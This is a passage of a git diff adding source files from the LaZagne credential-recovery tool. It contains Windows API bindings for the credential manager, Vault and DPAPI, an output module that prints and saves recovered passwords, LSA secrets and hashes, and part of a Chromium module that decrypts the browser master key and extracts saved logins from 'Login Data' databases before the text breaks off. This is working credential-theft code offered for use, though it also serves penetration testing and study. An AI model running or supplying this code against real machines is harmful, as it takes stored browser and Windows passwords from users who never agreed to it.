||||
CredEnumerate = advapi32.CredEnumerateA
|
||||
CredEnumerate.restype = BOOL
|
||||
CredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))]
|
||||
|
||||
CredFree = advapi32.CredFree
|
||||
CredFree.restype = PVOID
|
||||
CredFree.argtypes = [PVOID]
|
||||
|
||||
LocalFree = kernel32.LocalFree
|
||||
LocalFree.restype = HANDLE
|
||||
LocalFree.argtypes = [HANDLE]
|
||||
|
||||
CryptUnprotectData = crypt32.CryptUnprotectData
|
||||
CryptUnprotectData.restype = BOOL
|
||||
CryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID,
|
||||
PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)]
|
||||
|
||||
# these functions do not exist on XP workstations
|
||||
try:
|
||||
prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID))
|
||||
vaultEnumerateVaults = prototype(("VaultEnumerateVaults", windll.vaultcli))
|
||||
|
||||
prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE)
|
||||
vaultOpenVault = prototype(("VaultOpenVault", windll.vaultcli))
|
||||
|
||||
prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p))
|
||||
vaultEnumerateItems = prototype(("VaultEnumerateItems", windll.vaultcli))
|
||||
|
||||
prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD,
|
||||
POINTER(PVAULT_ITEM_WIN8))
|
||||
vaultGetItem8 = prototype(("VaultGetItem", windll.vaultcli))
|
||||
|
||||
prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN7))
|
||||
vaultGetItem7 = prototype(("VaultGetItem", windll.vaultcli))
|
||||
|
||||
prototype = WINFUNCTYPE(ULONG, LPVOID)
|
||||
vaultFree = prototype(("VaultFree", windll.vaultcli))
|
||||
|
||||
prototype = WINFUNCTYPE(ULONG, PHANDLE)
|
||||
vaultCloseVault = prototype(("VaultCloseVault", windll.vaultcli))
|
||||
|
||||
def get_vault_objects_for_this_version_of_windows():
|
||||
"""
|
||||
@return: Tuple[
|
||||
Type of vault item,
|
||||
Pointer to type of vault item,
|
||||
VaultGetItem function as Callable[[vault_handle, vault_item_prt, password_vault_item_ptr], int]
|
||||
]
|
||||
"""
|
||||
os_version_float = float(get_os_version())
|
||||
if os_version_float == 6.1:
|
||||
# Windows 7
|
||||
return (
|
||||
VAULT_ITEM_WIN7,
|
||||
PVAULT_ITEM_WIN7,
|
||||
lambda hVault, pVaultItem, pPasswordVaultItem:
|
||||
vaultGetItem7(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername,
|
||||
None, 0, byref(pPasswordVaultItem))
|
||||
)
|
||||
elif os_version_float > 6.1:
|
||||
# Later than Windows7
|
||||
return (
|
||||
VAULT_ITEM_WIN8,
|
||||
PVAULT_ITEM_WIN8,
|
||||
lambda hVault, pVaultItem, pPasswordVaultItem:
|
||||
vaultGetItem8(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername,
|
||||
pVaultItem.pPackageSid, # additional parameter compared to Windows 7
|
||||
None, 0, byref(pPasswordVaultItem))
|
||||
)
|
||||
|
||||
raise Exception("Vault is not supported for this version of OS")
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
GetModuleFileNameEx = psapi.GetModuleFileNameExW
|
||||
GetModuleFileNameEx.restype = DWORD
|
||||
GetModuleFileNameEx.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD]
|
||||
|
||||
|
||||
# ############################# Custom functions ##############################
|
||||
|
||||
|
||||
def EnumProcesses():
|
||||
_EnumProcesses = psapi.EnumProcesses
|
||||
_EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD]
|
||||
_EnumProcesses.restype = bool
|
||||
|
||||
size = 0x1000
|
||||
cbBytesReturned = DWORD()
|
||||
unit = sizeof(DWORD)
|
||||
dwOwnPid = os.getpid()
|
||||
while 1:
|
||||
ProcessIds = (DWORD * (size // unit))()
|
||||
cbBytesReturned.value = size
|
||||
_EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned))
|
||||
returned = cbBytesReturned.value
|
||||
if returned < size:
|
||||
break
|
||||
size = size + 0x1000
|
||||
ProcessIdList = list()
|
||||
for ProcessId in ProcessIds:
|
||||
if ProcessId is None:
|
||||
break
|
||||
if ProcessId == dwOwnPid:
|
||||
continue
|
||||
ProcessIdList.append(ProcessId)
|
||||
return ProcessIdList
|
||||
|
||||
|
||||
def LookupAccountSidW(lpSystemName, lpSid):
|
||||
# From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py
|
||||
_LookupAccountSidW = advapi32.LookupAccountSidW
|
||||
_LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD]
|
||||
_LookupAccountSidW.restype = BOOL
|
||||
|
||||
ERROR_INSUFFICIENT_BUFFER = 122
|
||||
cchName = DWORD(0)
|
||||
cchReferencedDomainName = DWORD(0)
|
||||
peUse = DWORD(0)
|
||||
success = _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName),
|
||||
byref(peUse))
|
||||
error = GetLastError()
|
||||
if not success or error == ERROR_INSUFFICIENT_BUFFER:
|
||||
lpName = create_unicode_buffer(u'', cchName.value + 1)
|
||||
lpReferencedDomainName = create_unicode_buffer(u'', cchReferencedDomainName.value + 1)
|
||||
success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName,
|
||||
byref(cchReferencedDomainName), byref(peUse))
|
||||
if success:
|
||||
return lpName.value, lpReferencedDomainName.value, peUse.value
|
||||
|
||||
return None, None, None
|
||||
|
||||
|
||||
def QueryFullProcessImageNameW(hProcess, dwFlags=0):
|
||||
_QueryFullProcessImageNameW = kernel32.QueryFullProcessImageNameW
|
||||
_QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, POINTER(DWORD)]
|
||||
_QueryFullProcessImageNameW.restype = bool
|
||||
ERROR_INSUFFICIENT_BUFFER = 122
|
||||
|
||||
dwSize = MAX_PATH
|
||||
while 1:
|
||||
lpdwSize = DWORD(dwSize)
|
||||
lpExeName = create_unicode_buffer('', lpdwSize.value + 1)
|
||||
success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize))
|
||||
if success and 0 < lpdwSize.value < dwSize:
|
||||
break
|
||||
error = GetLastError()
|
||||
if error != ERROR_INSUFFICIENT_BUFFER:
|
||||
return False
|
||||
dwSize = dwSize + 256
|
||||
if dwSize > 0x1000:
|
||||
# this prevents an infinite loop in Windows 2008 when the path has spaces,
|
||||
# see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4
|
||||
return False
|
||||
return lpExeName.value
|
||||
|
||||
|
||||
def RtlAdjustPrivilege(privilege_id):
|
||||
"""
|
||||
privilege_id: int
|
||||
"""
|
||||
_RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege
|
||||
_RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)]
|
||||
_RtlAdjustPrivilege.restype = LONG
|
||||
|
||||
Enable = True
|
||||
CurrentThread = False # enable for whole process
|
||||
Enabled = BOOL()
|
||||
|
||||
status = _RtlAdjustPrivilege(privilege_id, Enable, CurrentThread, byref(Enabled))
|
||||
if status != 0:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def getData(blobOut):
|
||||
cbData = blobOut.cbData
|
||||
pbData = blobOut.pbData
|
||||
buffer = create_string_buffer(cbData)
|
||||
memmove(buffer, pbData, sizeof(buffer))
|
||||
LocalFree(pbData);
|
||||
return buffer.raw
|
||||
|
||||
|
||||
def get_full_path_from_pid(pid):
|
||||
if pid:
|
||||
filename = create_unicode_buffer("", 256)
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))
|
||||
if not hProcess:
|
||||
return False
|
||||
|
||||
size = GetModuleFileNameEx(hProcess, None, filename, 256)
|
||||
CloseHandle(hProcess)
|
||||
if size:
|
||||
return filename.value
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
python_version = 2
|
||||
if sys.version_info[0]:
|
||||
python_version = sys.version_info[0]
|
||||
|
||||
|
||||
def Win32CryptUnprotectData(cipherText, entropy=False, is_current_user=True, user_dpapi=False):
|
||||
if python_version == 2:
|
||||
cipherText = str(cipherText)
|
||||
|
||||
decrypted = None
|
||||
|
||||
if is_current_user:
|
||||
bufferIn = c_buffer(cipherText, len(cipherText))
|
||||
blobIn = DATA_BLOB(len(cipherText), bufferIn)
|
||||
blobOut = DATA_BLOB()
|
||||
|
||||
if entropy:
|
||||
bufferEntropy = c_buffer(entropy, len(entropy))
|
||||
blobEntropy = DATA_BLOB(len(entropy), bufferEntropy)
|
||||
|
||||
if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)):
|
||||
decrypted = getData(blobOut)
|
||||
|
||||
else:
|
||||
if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)):
|
||||
decrypted = getData(blobOut)
|
||||
|
||||
if not decrypted:
|
||||
can_decrypt = True
|
||||
if not (user_dpapi and user_dpapi.unlocked):
|
||||
from lazagne.config.dpapi_structure import are_masterkeys_retrieved
|
||||
can_decrypt = are_masterkeys_retrieved()
|
||||
|
||||
if can_decrypt:
|
||||
try:
|
||||
decrypted = user_dpapi.decrypt_encrypted_blob(cipherText)
|
||||
except:
|
||||
# The encrypted blob cannot be parsed - weird (could happen with chrome v80)
|
||||
return None
|
||||
if decrypted is False:
|
||||
decrypted = None
|
||||
else:
|
||||
# raise ValueError('MasterKeys not found')
|
||||
pass
|
||||
|
||||
if not decrypted:
|
||||
if not user_dpapi:
|
||||
# raise ValueError('DPApi unavailable')
|
||||
pass
|
||||
elif not user_dpapi.unlocked:
|
||||
# raise ValueError('DPApi locked')
|
||||
pass
|
||||
|
||||
return decrypted
|
||||
|
||||
|
||||
def get_os_version():
|
||||
"""
|
||||
return major anr minor version
|
||||
https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx
|
||||
"""
|
||||
os_version = OSVERSIONINFOEXW()
|
||||
os_version.dwOSVersionInfoSize = sizeof(os_version)
|
||||
retcode = windll.Ntdll.RtlGetVersion(byref(os_version))
|
||||
if retcode != 0:
|
||||
return False
|
||||
|
||||
return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real))
|
||||
|
||||
|
||||
def isx64machine():
|
||||
archi = os.environ.get("PROCESSOR_ARCHITEW6432", '')
|
||||
if '64' in archi:
|
||||
return True
|
||||
|
||||
archi = os.environ.get("PROCESSOR_ARCHITECTURE", '')
|
||||
if '64' in archi:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def OpenKey(key, path, index=0, access=KEY_READ):
|
||||
if isx64:
|
||||
return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY)
|
||||
else:
|
||||
return winreg.OpenKey(key, path, index, access)
|
||||
|
||||
|
||||
isx64 = isx64machine()
|
||||
|
||||
|
||||
def string_to_unicode(string):
|
||||
if python_version == 2:
|
||||
return unicode(string)
|
||||
else:
|
||||
return string # String on python 3 are already unicode
|
||||
|
||||
|
||||
def chr_or_byte(integer):
|
||||
if python_version == 2:
|
||||
return chr(integer)
|
||||
else:
|
||||
return bytes([integer]) # Python 3
|
||||
|
||||
|
||||
def int_or_bytes(integer):
|
||||
if python_version == 2:
|
||||
return integer
|
||||
else:
|
||||
return bytes([integer]) # Python 3
|
||||
|
||||
|
||||
def char_to_int(string):
|
||||
if python_version == 2 or isinstance(string, str):
|
||||
return ord(string)
|
||||
else:
|
||||
return string # Python 3
|
||||
|
||||
|
||||
def convert_to_byte(string):
|
||||
if python_version == 2:
|
||||
return string
|
||||
else:
|
||||
return string.encode() # Python 3
|
352
lazagne/config/write_output.py
Normal file
352
lazagne/config/write_output.py
Normal file
@ -0,0 +1,352 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import ctypes
|
||||
import getpass
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sys
|
||||
import traceback
|
||||
|
||||
from time import gmtime, strftime
|
||||
from platform import uname
|
||||
|
||||
from lazagne.config.users import get_username_winapi
|
||||
from lazagne.config.winstructure import string_to_unicode, char_to_int, chr_or_byte, python_version
|
||||
from .constant import constant
|
||||
|
||||
# --------------------------- Standard output functions ---------------------------
|
||||
|
||||
STD_OUTPUT_HANDLE = -11
|
||||
std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
|
||||
tmp_user = None
|
||||
|
||||
|
||||
class StandardOutput(object):
|
||||
def __init__(self):
|
||||
self.banner = '''
|
||||
|====================================================================|
|
||||
| |
|
||||
| The LaZagne Project |
|
||||
| |
|
||||
| ! BANG BANG ! |
|
||||
| |
|
||||
|====================================================================|
|
||||
'''
|
||||
self.FILTER = b''.join([((len(repr(chr_or_byte(x))) == 3 and python_version == 2) or
|
||||
(len(repr(chr_or_byte(x))) == 4 and python_version == 3))
|
||||
and chr_or_byte(x) or b'.' for x in range(256)])
|
||||
|
||||
def set_color(self, color='white', intensity=False):
|
||||
c = {'white': 0x07, 'red': 0x04, 'green': 0x02, 'cyan': 0x03}.get(color, None)
|
||||
|
||||
if intensity:
|
||||
c |= 0x08
|
||||
|
||||
ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, c)
|
||||
|
||||
# print banner
|
||||
def first_title(self):
|
||||
self.do_print(message=self.banner, color='white', intensity=True)
|
||||
# Python 3.7.3 on Darwin x86_64: i386
|
||||
python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + " {0} {4}: {5}\n".format(*uname())
|
||||
self.print_logging(function=logging.debug, message=python_banner, prefix='[!]', color='white', intensity=True)
|
||||
|
||||
# info option for the logging
|
||||
def print_title(self, title):
|
||||
t = u'------------------- ' + title + ' passwords -----------------\n'
|
||||
self.do_print(message=t, color='white', intensity=True)
|
||||
|
||||
# debug option for the logging
|
||||
def title_info(self, title):
|
||||
t = u'------------------- ' + title + ' passwords -----------------\n'
|
||||
self.print_logging(function=logging.info, prefix='', message=t, color='white', intensity=True)
|
||||
|
||||
def print_user(self, user, force_print=False):
|
||||
if logging.getLogger().isEnabledFor(logging.INFO) or force_print:
|
||||
self.do_print(u'\n########## User: {user} ##########\n'.format(user=user))
|
||||
|
||||
def print_footer(self, elapsed_time=None):
|
||||
footer = '\n[+] %s passwords have been found.\n' % str(constant.nb_password_found)
|
||||
if not logging.getLogger().isEnabledFor(logging.INFO):
|
||||
footer += 'For more information launch it again with the -v option\n'
|
||||
if elapsed_time:
|
||||
footer += '\nelapsed time = ' + str(elapsed_time)
|
||||
self.do_print(footer)
|
||||
|
||||
def print_hex(self, src, length=8):
|
||||
N = 0
|
||||
result = b''
|
||||
while src:
|
||||
s, src = src[:length], src[length:]
|
||||
hexa = b' '.join([b"%02X" % char_to_int(x) for x in s])
|
||||
s = s.translate(self.FILTER)
|
||||
result += b"%04X %-*s %s\n" % (N, length * 3, hexa, s)
|
||||
N += length
|
||||
return result
|
||||
|
||||
def try_unicode(self, obj, encoding='utf-8'):
|
||||
if python_version == 3:
|
||||
try:
|
||||
return obj.decode()
|
||||
except Exception:
|
||||
return obj
|
||||
try:
|
||||
if isinstance(obj, basestring): # noqa: F821
|
||||
if not isinstance(obj, unicode): # noqa: F821
|
||||
obj = unicode(obj, encoding) # noqa: F821
|
||||
except UnicodeDecodeError:
|
||||
return repr(obj)
|
||||
return obj
|
||||
|
||||
# centralize print function
|
||||
def do_print(self, message='', color=False, intensity=False):
|
||||
# quiet mode => nothing is printed
|
||||
if constant.quiet_mode:
|
||||
return
|
||||
|
||||
message = self.try_unicode(message)
|
||||
if color:
|
||||
self.set_color(color=color, intensity=intensity)
|
||||
self.print_without_error(message)
|
||||
self.set_color()
|
||||
else:
|
||||
self.print_without_error(message)
|
||||
|
||||
def print_without_error(self, message):
|
||||
try:
|
||||
print(message.decode())
|
||||
except Exception:
|
||||
try:
|
||||
print(message)
|
||||
except Exception:
|
||||
print(repr(message))
|
||||
|
||||
def print_logging(self, function, prefix='[!]', message='', color=False, intensity=False):
|
||||
if constant.quiet_mode:
|
||||
return
|
||||
|
||||
try:
|
||||
msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message)
|
||||
except Exception:
|
||||
msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message))
|
||||
|
||||
if color:
|
||||
self.set_color(color, intensity)
|
||||
function(msg)
|
||||
self.set_color()
|
||||
else:
|
||||
function(msg)
|
||||
|
||||
def print_output(self, software_name, pwd_found):
|
||||
if pwd_found:
|
||||
# if the debug logging level is not apply => print the title
|
||||
if not logging.getLogger().isEnabledFor(logging.INFO):
|
||||
# print the username only if password have been found
|
||||
user = constant.finalResults.get('User', '')
|
||||
global tmp_user
|
||||
if user != tmp_user:
|
||||
tmp_user = user
|
||||
self.print_user(user, force_print=True)
|
||||
|
||||
# if not title1:
|
||||
self.print_title(software_name)
|
||||
|
||||
# Particular passwords representation
|
||||
to_write = []
|
||||
if software_name in ('Hashdump', 'Lsa_secrets', 'Mscache'):
|
||||
pwds = pwd_found[1]
|
||||
for pwd in pwds:
|
||||
self.do_print(pwd)
|
||||
if software_name == 'Lsa_secrets':
|
||||
hex_value = self.print_hex(pwds[pwd], length=16)
|
||||
to_write.append([pwd.decode(), hex_value.decode()])
|
||||
self.do_print(hex_value)
|
||||
else:
|
||||
to_write.append(pwd)
|
||||
self.do_print()
|
||||
|
||||
# Other passwords
|
||||
else:
|
||||
# Remove duplicated password
|
||||
pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])]
|
||||
|
||||
# Loop through all passwords found
|
||||
for pwd in pwd_found:
|
||||
|
||||
# Detect which kinds of password has been found
|
||||
pwd_lower_keys = {k.lower(): v for k, v in pwd.items()}
|
||||
for p in ('password', 'key', 'hash'):
|
||||
pwd_category = [s for s in pwd_lower_keys if p in s]
|
||||
if pwd_category:
|
||||
pwd_category = pwd_category[0]
|
||||
break
|
||||
|
||||
write_it = False
|
||||
passwd = None
|
||||
try:
|
||||
passwd_str = pwd_lower_keys[pwd_category]
|
||||
# Do not print empty passwords
|
||||
if not passwd_str:
|
||||
continue
|
||||
|
||||
passwd = string_to_unicode(passwd_str)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# No password found
|
||||
if not passwd:
|
||||
print_debug("FAILED", u'Password not found !!!')
|
||||
else:
|
||||
constant.nb_password_found += 1
|
||||
write_it = True
|
||||
print_debug("OK", u'{pwd_category} found !!!'.format(
|
||||
pwd_category=pwd_category.title()))
|
||||
|
||||
# Store all passwords found on a table => for dictionary attack if master password set
|
||||
if passwd not in constant.password_found:
|
||||
constant.password_found.append(passwd)
|
||||
|
||||
pwd_info = []
|
||||
for p in pwd:
|
||||
try:
|
||||
pwd_line = '%s: %s' % (p, pwd[p].decode()) # Manage bytes output (py 3)
|
||||
except Exception:
|
||||
pwd_line = '%s: %s' % (p, pwd[p])
|
||||
|
||||
pwd_info.append(pwd_line)
|
||||
self.do_print(pwd_line)
|
||||
|
||||
self.do_print()
|
||||
|
||||
if write_it:
|
||||
to_write.append(pwd_info)
|
||||
|
||||
# write credentials into a text file
|
||||
self.checks_write(to_write, software_name)
|
||||
else:
|
||||
print_debug("INFO", "No passwords found\n")
|
||||
|
||||
def write_header(self):
|
||||
time = strftime("%Y-%m-%d %H:%M:%S", gmtime())
|
||||
try:
|
||||
hostname = socket.gethostname().decode(sys.getfilesystemencoding())
|
||||
except AttributeError:
|
||||
hostname = socket.gethostname()
|
||||
|
||||
header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format(
|
||||
banner=self.banner.replace('\n', '\r\n'),
|
||||
date=str(time),
|
||||
username=get_username_winapi(),
|
||||
hostname=hostname
|
||||
)
|
||||
with open(os.path.join(constant.folder_name, '{}.txt'.format(constant.file_name_results)), "ab+") as f:
|
||||
f.write(header.encode())
|
||||
|
||||
def write_footer(self):
|
||||
footer = '\n[+] %s passwords have been found.\r\n\r\n' % str(constant.nb_password_found)
|
||||
open(os.path.join(constant.folder_name, '%s.txt' % constant.file_name_results), "a+").write(footer)
|
||||
|
||||
def checks_write(self, values, category):
|
||||
if values:
|
||||
if 'Passwords' not in constant.finalResults:
|
||||
constant.finalResults['Passwords'] = []
|
||||
constant.finalResults['Passwords'].append((category, values))
|
||||
|
||||
|
||||
def print_debug(error_level, message):
|
||||
# Quiet mode => nothing is printed
|
||||
if constant.quiet_mode:
|
||||
return
|
||||
|
||||
# print when password is found
|
||||
if error_level == 'OK':
|
||||
constant.st.do_print(message='[+] {message}'.format(message=message), color='green')
|
||||
|
||||
# print when password is not found
|
||||
elif error_level == 'FAILED':
|
||||
constant.st.do_print(message='[-] {message}'.format(message=message), color='red', intensity=True)
|
||||
|
||||
elif error_level == 'CRITICAL' or error_level == 'ERROR':
|
||||
constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red', intensity=True)
|
||||
|
||||
elif error_level == 'WARNING':
|
||||
constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan')
|
||||
|
||||
elif error_level == 'DEBUG':
|
||||
constant.st.print_logging(function=logging.debug, message=message, prefix='[!]')
|
||||
|
||||
else:
|
||||
constant.st.print_logging(function=logging.info, message=message, prefix='[!]')
|
||||
|
||||
# --------------------------- End of output functions ---------------------------
|
||||
|
||||
def json_to_string(json_string):
|
||||
string = u''
|
||||
try:
|
||||
for json in json_string:
|
||||
if json:
|
||||
string += u'################## User: {username} ################## \r\n'.format(username=json['User'])
|
||||
if 'Passwords' not in json:
|
||||
string += u'\r\nNo passwords found for this user !\r\n\r\n'
|
||||
else:
|
||||
for pwd_info in json['Passwords']:
|
||||
category, pwds_tab = pwd_info
|
||||
|
||||
string += u'\r\n------------------- {category} -----------------\r\n'.format(
|
||||
category=category)
|
||||
|
||||
if category.lower() in ('lsa_secrets', 'hashdump', 'cachedump'):
|
||||
for pwds in pwds_tab:
|
||||
if category.lower() == 'lsa_secrets':
|
||||
for d in pwds:
|
||||
string += u'%s\r\n' % (constant.st.try_unicode(d))
|
||||
else:
|
||||
string += u'%s\r\n' % (constant.st.try_unicode(pwds))
|
||||
else:
|
||||
for pwds in pwds_tab:
|
||||
string += u'\r\nPassword found !!!\r\n'
|
||||
for pwd in pwds:
|
||||
try:
|
||||
name, value = pwd.split(':', 1)
|
||||
string += u'%s: %s\r\n' % (
|
||||
name.strip(), constant.st.try_unicode(value.strip()))
|
||||
except Exception:
|
||||
print_debug('DEBUG', traceback.format_exc())
|
||||
string += u'\r\n'
|
||||
except Exception:
|
||||
print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=traceback.format_exc()))
|
||||
|
||||
return string
|
||||
|
||||
|
||||
def write_in_file(result):
|
||||
"""
|
||||
Write output to file (json and txt files)
|
||||
"""
|
||||
if result:
|
||||
if constant.output in ('json', 'all'):
|
||||
try:
|
||||
# Human readable Json format
|
||||
pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '), ensure_ascii=False)
|
||||
with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'ab+') as f:
|
||||
f.write(pretty_json.encode())
|
||||
|
||||
constant.st.do_print(u'[+] File written: {file}'.format(
|
||||
file=os.path.join(constant.folder_name, constant.file_name_results + '.json'))
|
||||
)
|
||||
except Exception as e:
|
||||
print_debug('DEBUGG', traceback.format_exc())
|
||||
|
||||
if constant.output in ('txt', 'all'):
|
||||
try:
|
||||
with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'ab+') as f:
|
||||
a = json_to_string(result)
|
||||
f.write(a.encode())
|
||||
|
||||
constant.st.write_footer()
|
||||
constant.st.do_print(u'[+] File written: {file}'.format(
|
||||
file=os.path.join(constant.folder_name, constant.file_name_results + '.txt'))
|
||||
)
|
||||
except Exception as e:
|
||||
print_debug('DEBUG', traceback.format_exc())
|
0
lazagne/softwares/__init__.py
Normal file
0
lazagne/softwares/__init__.py
Normal file
BIN
lazagne/softwares/__pycache__/__init__.cpython-37.pyc
Normal file
BIN
lazagne/softwares/__pycache__/__init__.cpython-37.pyc
Normal file
Binary file not shown.
BIN
lazagne/softwares/__pycache__/__init__.cpython-38.pyc
Normal file
BIN
lazagne/softwares/__pycache__/__init__.cpython-38.pyc
Normal file
Binary file not shown.
BIN
lazagne/softwares/__pycache__/__init__.cpython-39.pyc
Normal file
BIN
lazagne/softwares/__pycache__/__init__.cpython-39.pyc
Normal file
Binary file not shown.
0
lazagne/softwares/browsers/__init__.py
Normal file
0
lazagne/softwares/browsers/__init__.py
Normal file
BIN
lazagne/softwares/browsers/__pycache__/__init__.cpython-37.pyc
Normal file
BIN
lazagne/softwares/browsers/__pycache__/__init__.cpython-37.pyc
Normal file
Binary file not shown.
BIN
lazagne/softwares/browsers/__pycache__/__init__.cpython-38.pyc
Normal file
BIN
lazagne/softwares/browsers/__pycache__/__init__.cpython-38.pyc
Normal file
Binary file not shown.
BIN
lazagne/softwares/browsers/__pycache__/__init__.cpython-39.pyc
Normal file
BIN
lazagne/softwares/browsers/__pycache__/__init__.cpython-39.pyc
Normal file
Binary file not shown.
BIN
lazagne/softwares/browsers/__pycache__/mozilla.cpython-37.pyc
Normal file
BIN
lazagne/softwares/browsers/__pycache__/mozilla.cpython-37.pyc
Normal file
Binary file not shown.
BIN
lazagne/softwares/browsers/__pycache__/mozilla.cpython-38.pyc
Normal file
BIN
lazagne/softwares/browsers/__pycache__/mozilla.cpython-38.pyc
Normal file
Binary file not shown.
BIN
lazagne/softwares/browsers/__pycache__/mozilla.cpython-39.pyc
Normal file
BIN
lazagne/softwares/browsers/__pycache__/mozilla.cpython-39.pyc
Normal file
Binary file not shown.
246
lazagne/softwares/browsers/chromium_based.py
Normal file
246
lazagne/softwares/browsers/chromium_based.py
Normal file
@ -0,0 +1,246 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import shutil
|
||||
import sqlite3
|
||||
import string
|
||||
import tempfile
|
||||
import traceback
|
||||
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
from lazagne.config.winstructure import Win32CryptUnprotectData
|
||||
from lazagne.softwares.windows.credman import Credman
|
||||
|
||||
|
||||
class ChromiumBased(ModuleInfo):
|
||||
def __init__(self, browser_name, paths):
|
||||
self.paths = paths if isinstance(paths, list) else [paths]
|
||||
self.database_query = 'SELECT action_url, username_value, password_value FROM logins'
|
||||
ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True)
|
||||
|
||||
def _get_database_dirs(self):
|
||||
"""
|
||||
Return database directories for all profiles within all paths
|
||||
"""
|
||||
databases = set()
|
||||
for path in [p.format(**constant.profile) for p in self.paths]:
|
||||
profiles_path = os.path.join(path, u'Local State')
|
||||
if os.path.exists(profiles_path):
|
||||
master_key = None
|
||||
# List all users profile (empty string means current dir, without a profile)
|
||||
profiles = {'Default', ''}
|
||||
|
||||
# Automatic join all other additional profiles
|
||||
for dirs in os.listdir(path):
|
||||
dirs_path = os.path.join(path, dirs)
|
||||
if os.path.isdir(dirs_path) and dirs.startswith('Profile'):
|
||||
profiles.add(dirs)
|
||||
|
||||
with open(profiles_path) as f:
|
||||
try:
|
||||
data = json.load(f)
|
||||
# Add profiles from json to Default profile. set removes duplicates
|
||||
profiles |= set(data['profile']['info_cache'])
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
with open(profiles_path) as f:
|
||||
try:
|
||||
master_key = base64.b64decode(json.load(f)["os_crypt"]["encrypted_key"])
|
||||
master_key = master_key[5:] # removing DPAPI
|
||||
master_key = Win32CryptUnprotectData(master_key, is_current_user=constant.is_current_user,
|
||||
user_dpapi=constant.user_dpapi)
|
||||
except Exception:
|
||||
master_key = None
|
||||
|
||||
# Each profile has its own password database
|
||||
for profile in profiles:
|
||||
# Some browsers use names other than "Login Data"
|
||||
# Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18"
|
||||
try:
|
||||
db_files = os.listdir(os.path.join(path, profile))
|
||||
except Exception:
|
||||
continue
|
||||
for db in db_files:
|
||||
if db.lower() in ['login data', 'ya passman data']:
|
||||
databases.add((os.path.join(path, profile, db), master_key))
|
||||
return databases
|
||||
|
||||
def _decrypt_v80(self, buff, master_key):
|
||||
try:
|
||||
iv = buff[3:15]
|
||||
payload = buff[15:]
|
||||
cipher = AES.new(master_key, AES.MODE_GCM, iv)
|
||||
decrypted_pass = cipher.decrypt(payload)
|
||||
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
|
||||
return decrypted_pass
|
||||
except:
|
||||
pass
|
||||
|
||||
def _export_credentials(self, db_path, is_yandex=False, master_key=None):
|
||||
"""
|
||||
Export credentials from the given database
|
||||
|
||||
:param unicode db_path: database path
|
||||
:return: list of credentials
|
||||
:rtype: tuple
|
||||
"""
|
||||
credentials = []
|
||||
yandex_enckey = None
|
||||
|
||||
if is_yandex:
|
||||
try:
|
||||
credman_passwords = Credman().run()
|
||||
for credman_password in credman_passwords:
|
||||
